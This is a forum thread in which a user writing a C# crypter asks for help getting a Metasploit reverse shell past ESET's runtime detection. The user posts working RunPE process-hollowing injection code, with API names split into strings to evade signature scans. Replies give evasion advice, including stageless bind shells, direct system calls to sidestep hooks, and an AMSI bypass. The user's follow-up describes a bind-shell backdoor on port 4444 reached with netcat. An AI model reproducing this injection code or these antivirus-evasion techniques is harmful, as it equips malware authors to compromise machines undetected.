Antivirus runtime bypass

A few weeks ago I started learning how crypters work and I decided to write my own. I chose C# language to write it. I bypassed most of the scantime detections (despite Avira and a few others) but I am really struggling with runtime. When I execute stub with a metasploit reverse shell inside everything goes well until the client tries to connect to server. At this moment process of reverse shell is being killed and flagged as detected.(I am trying to bypass Eset runtime because this is an antivirus software which I have installed on my PC) I found various techniques to evade runtime but none of them work. Techniques that I use: amsi.dll bypass (makes Eset go crazy but it’s still able to end reverse shell process), thread stalling, antihooking which I added to RunPE (Bypassing Windows Defender Runtime Scanning). Could someone give me techniques/tips to bypass runtime detections to be able to open reverse shell without it being killed by antivirus?

1 Like

This is usually not my cup of tea, but over at F-secure one of the researchers have a go on the amsi.dll bypassing.

1 Like

I mentioned that amsi.dll doesn’t work really well with Eset.

To me it sounds like when the reverse shell payload finishes getting decrypted in-memory that’s when the payload (not encrypted) in-memory gets detected. Now the question is how is it getting detected? Unfortunately only you can answer that question unless you provide more in-depth analysis of the problem and the code you’ve used.

I can recommend that you read this, and that you fully understand how ESET’s runtime detection engine is working. Maybe you should also try to see which functions are blacklisted by ESET and not just Windows Defender like in the article you referenced by F-Secure.

Here’s a picture in the beginning of the article noting exactly the problem you are facing. It just seems the issue moved to the third-party AV installed.

@c0z So I did some analysis and this is not a problem with decrypting, I set up breakpoints in a place where payload is decrypted from AES256 to bytes and I waited a bit then I moved to RunPE injection. The place where payload is decrypted wasn’t detected, I specially waited after bytes decryption to see if it’s get detected and it did not. I also set up breakpoints on WriteProcessMemory, ResumeThread, VirtualAllocEx and CreateProcess to see if any of this APIs cause detections, and they did not. I found out that detection is only when a client (meterpreter reverse tcp shell in my case) tries to connect to the server. At a moment when stage is sent from server to client I got detection and connection is instantly killed and stub removed. I have no idea how I can bypass it, as you asked I provide some code. That’s the RunPE that I use:
class RunPE
[DllImport(“kern” + “el32.dll”, SetLastError = true)]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,[Out] byte[] lpBuffer,int dwSize,out IntPtr lpNumberOfBytesRead);

        [DllImport("kern" + "el32.dll")]
        public static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress, byte[] lpBuffer,int dwSize,out IntPtr lpNumberOfBytesWritten);

        [DllImport("kerne" + "l32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kerne" + "l32.dll", EntryPoint = "Resu" + "meTh" + "read")]
        public static extern int ResumeThread(IntPtr handle);

        [DllImport("kerne" + "l32.dll", EntryPoint = "Creat" + "ePro" + "cess", CharSet = CharSet.Unicode)]
        public static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);

        [DllImport("kerne" + "l32.dll", EntryPoint = "GetT" + "hre" + "adCo" + "ntext")]
        public static extern bool GetThreadContext(IntPtr thread, int[] context);

        [DllImport("kerne" + "l32.dll", EntryPoint = "SetTh" + "readCo" + "ntext")]
        public static extern bool SetThreadContext(IntPtr thread, int[] context);

        [DllImport("ntd" + "ll.dll", EntryPoint = "N" + "tUnm" + "apVie" + "wOfSe" + "ction")]
        public static extern int NtUnmapViewOfSection(IntPtr process, IntPtr baseAddress);

        public static bool Inject(string path, byte[] data)
            IntPtr ReadWrite = IntPtr.Zero;

            StartupInformation si = new StartupInformation();
            ProcessInformation pi = new ProcessInformation();

            si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
            if (!CreateProcess(path, @"\" + path + @"\", IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
                return false;

            int fileAddress = BitConverter.ToInt32(data, 60);
            int imageBase = BitConverter.ToInt32(data, fileAddress + 52);

            int[] context = new int[179];
            context[0] = 65538;

            if (!GetThreadContext(pi.ThreadHandle, context))
                return false;

            int ebx = context[41];

            byte[] BaseAddr = new byte[4];

            if (!ReadProcessMemory(pi.ProcessHandle, new IntPtr(ebx + 8), BaseAddr, 4, out ReadWrite))
                return false;

            int baseAddress = BitConverter.ToInt32(BaseAddr, 0);

            if (imageBase == baseAddress)
                if (NtUnmapViewOfSection(pi.ProcessHandle, new IntPtr(baseAddress)) != 0)
                    return false;

            int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
            int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);

            bool allowOverride = false;
            int newImageBase = VirtualAllocEx(pi.ProcessHandle, new IntPtr(imageBase), new IntPtr(sizeOfImage), 12288, 64).ToInt32();

            if (newImageBase == 0)
                allowOverride = true;
                newImageBase = VirtualAllocEx(pi.ProcessHandle, IntPtr.Zero, new IntPtr(sizeOfImage), 12288, 64).ToInt32();
                if (newImageBase == 0)
                    return false;

            if (!WriteProcessMemory(pi.ProcessHandle, new IntPtr(newImageBase), data, sizeOfHeaders, out ReadWrite))
                return false;

            int sectionOffset = fileAddress + 248;
            short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);

            for (int I = 0; I <= numberOfSections - 1; I++)
                int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
                int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
                int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);

                if (sizeOfRawData != 0)
                    byte[] sectionData = new byte[sizeOfRawData];
                    Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);

                    if (!WriteProcessMemory(pi.ProcessHandle, new IntPtr(newImageBase + virtualAddress), sectionData, sectionData.Length, out ReadWrite))
                        return false;

                sectionOffset += 40;

            byte[] pointerData = BitConverter.GetBytes(newImageBase);
            if (!WriteProcessMemory(pi.ProcessHandle, new IntPtr(ebx + 8), pointerData, 4, out ReadWrite))
                return false;

            int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);

            if (allowOverride)
                newImageBase = imageBase;
            context[44] = newImageBase + addressOfEntryPoint;

            if (!SetThreadContext(pi.ThreadHandle, context))
                return false;
            if (ResumeThread(pi.ThreadHandle) == -1)
                return false;

            return true;



Edit: for some reason I cannot include beginning of code to the rest of block. :neutral_face:

I would try a stageless bind shell. To me in this situation it would seem that ESET doesn’t scan the process in question until a connection is established (and all the bytes from meterpreter, stagers are there in-memory). So trying out a stageless bind shell with the same encoding options and process obfusication as you’ve used should tell you more about what part of the code it’s triggering on. If ESET doesn’t trigger on even the stageless bind shell in-memory before you connect then I would to suggest the ESET process or at the very least debug the injected process to see where it breaks and how ESET is working with the functions you have.

Another idea is that ESET detects that it took too long to return from the function CreateProcess or VirtualAllocEx being hooked and immediately kills the process. I would try using the system call ordinals dynamically or directly via static assembly. This would alleviate your code from having function names that would get picked up when scanned.

Other than that, if you’re stageless shellcode doesn’t get detected in-memory before the connection, even after modifying your code to add a little more indirection and checking for the hooks replacement after your codes execution to make the EDR happy, then it might be how the communication is happening but then I don’t know lol.

Thank you very much for suggestions, I got next interesting results. I used meterpreter shell_bind_tcp as you suggested. Payload without being encrypted with my crypter was instantly detected by Eset. After encrypting payload and enabling Eset again there was nothing detected, so I ran my program and boom, payload was loaded into memory without any detection, I did quick look into netstat and I saw listening. I entered my VM with Parrot to try connecting into backdoor. First I tried metasploit console, but unfortunetly I couldn’t connect into backdoor. Metasploit just showed: Started bind TCP handler against mylocalip:4444 and nothing was happening. Then I tried netcat (nc -nv mylocalip 4444) and same thing here, no connection. I did nmap scan from linux against my main computer and it showed that 4444 is filtered. I disabled Eset firewall for a moment and tried connecting with netcat and I got a connection, but after using any command Eset was killing connection and process, and showed alert that there was an attempt to connect to the botnet.